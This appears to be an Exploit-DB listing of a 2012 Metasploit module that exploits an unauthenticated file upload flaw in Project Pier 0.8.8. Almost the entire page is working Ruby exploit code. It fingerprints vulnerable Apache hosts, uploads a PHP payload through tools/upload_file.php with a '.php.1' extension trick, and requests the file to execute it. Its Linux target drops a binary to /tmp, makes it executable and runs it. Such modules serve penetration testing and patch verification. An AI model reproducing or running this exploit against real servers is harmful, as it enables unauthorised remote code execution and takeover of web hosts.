# Project Pier - Arbitrary File Upload (Metasploit)

**EDB-ID:**

21929

**CVE:**

**EDB Verified:** ✓

**Author:**

METASPLOIT

**Type:**

WEBAPPS

**Exploit:** / {}

**Platform:**

PHP

**Date:**

2012-10-16

**Vulnerable App:**

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Project Pier Arbitrary File Upload
Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Project
Pier.  The application's
                uploading tool does not require any authentication, which
allows a malicious user
                to upload an arbitrary file onto the web server, and then
cause remote code
                execution by simply requesting it. This module is known to
work against Apache
                servers due to the way it handles an extension name, but
the vulnerability may
                not be exploitable on others.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'BlackHawk',
                    'sinn3r'
                ],
            'References'     =>
                [
                    ['OSVDB', '85881'],
                    ['URL',
'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-
Upload.html']
                ],
            'Platform'       => ['linux', 'php'],
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP,
'Platform' => 'php' }  ],
                    [ 'Linux x86'            , { 'Arch' => ARCH_X86,
'Platform' => 'linux'} ]
                ],
            'Arch'           => ARCH_CMD,
            'Privileged'     => false,
            'DisclosureDate' => "Oct 8 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web
application', '/pp088/'])
            ], self.class)
    end


    def check
```

```
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        res = send_request_cgi(
            {
                'method' => 'GET',
                'uri'    => "#{base}/index.php",
                'vars_get' =>
                    {
                        'c' => 'access',
                        'a' => 'login'
                    }
            })

        if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and
res.headers['Server'] =~ /^Apache/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end

    def get_write_exec_payload(fname, data)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
        <?php
        $f = fopen("#{fname}", "wb");
        fwrite($f, base64_decode("#{p}"));
        fclose($f);
        exec("chmod 777 #{fname}");
        exec("#{fname}");
        ?>
        |
        php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
        return php
    end

    def on_new_session(cli)
        if cli.type == "meterpreter"
            cli.core.use("stdapi") if not cli.ext.aliases.include?
("stdapi")
        end

        @clean_files.each do |f|
            print_debug("#{@peer} - Removing: #{f}")
            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    cli.shell_command_token("rm #{f}")
                end
                print_debug("File removed: #{f}")
            rescue ::Exception => e
                print_error("#{@peer} - Unable to remove #{f}: #
{e.message}")
            end
        end
    end

    def upload_php(base, fname, php_payload, folder_name)
        data = Rex::MIME::Message.new
        data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
        data.add_part(php_payload, nil, nil, "form-data; name=file;
filename=\"#{fname}\"")
        data.add_part('', nil, nil, 'form-data; name="part"')
        data.add_part('Submit', nil, nil, 'form-data; name="submit"')

        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
```

```
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => "#{base}/tools/upload_file.php",
            'ctype'    => "multipart/form-data; boundary=#{data.bound}",
            'data'     => post_data
        })

        return res.body if res
    end

    def exec_php(base, body)
        # Body example:
        # 0 ./upload/test/test.txt-0001
        uri = body.scan(/(\/.+$)/).flatten[0]
        @clean_files << File.basename(uri)

        res = send_request_raw({'uri' => "#{base}/tools#{uri}"})

        if res and res.code == 404
            print_error("#{@peer} - The upload most likely failed")
            return
        end

        handler
    end

    def exploit
        @peer = "#{rhost}:#{rport}"

        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        folder_name = Rex::Text.rand_text_alpha(4)
        php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
        @clean_files = []

        case target['Platform']
        when 'php'
            p = "<?php #{payload.encoded} ?>"
        when 'linux'
            bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
            @clean_files << bin_name
            bin = generate_payload_exe
            p = get_write_exec_payload("/tmp/#{bin_name}", bin)
        end

        print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s}
bytes)...")
        res = upload_php(base, php_fname, p, folder_name)

        if not res
            print_error("#{@peer} - No response from server")
            return
        end

        print_status("#{@peer} - Executing '#{php_fname}'...")
        exec_php(base, res)
    end
end
```

**Tags:** Metasploit Framework (MSF)

**Advisory/Source:** Link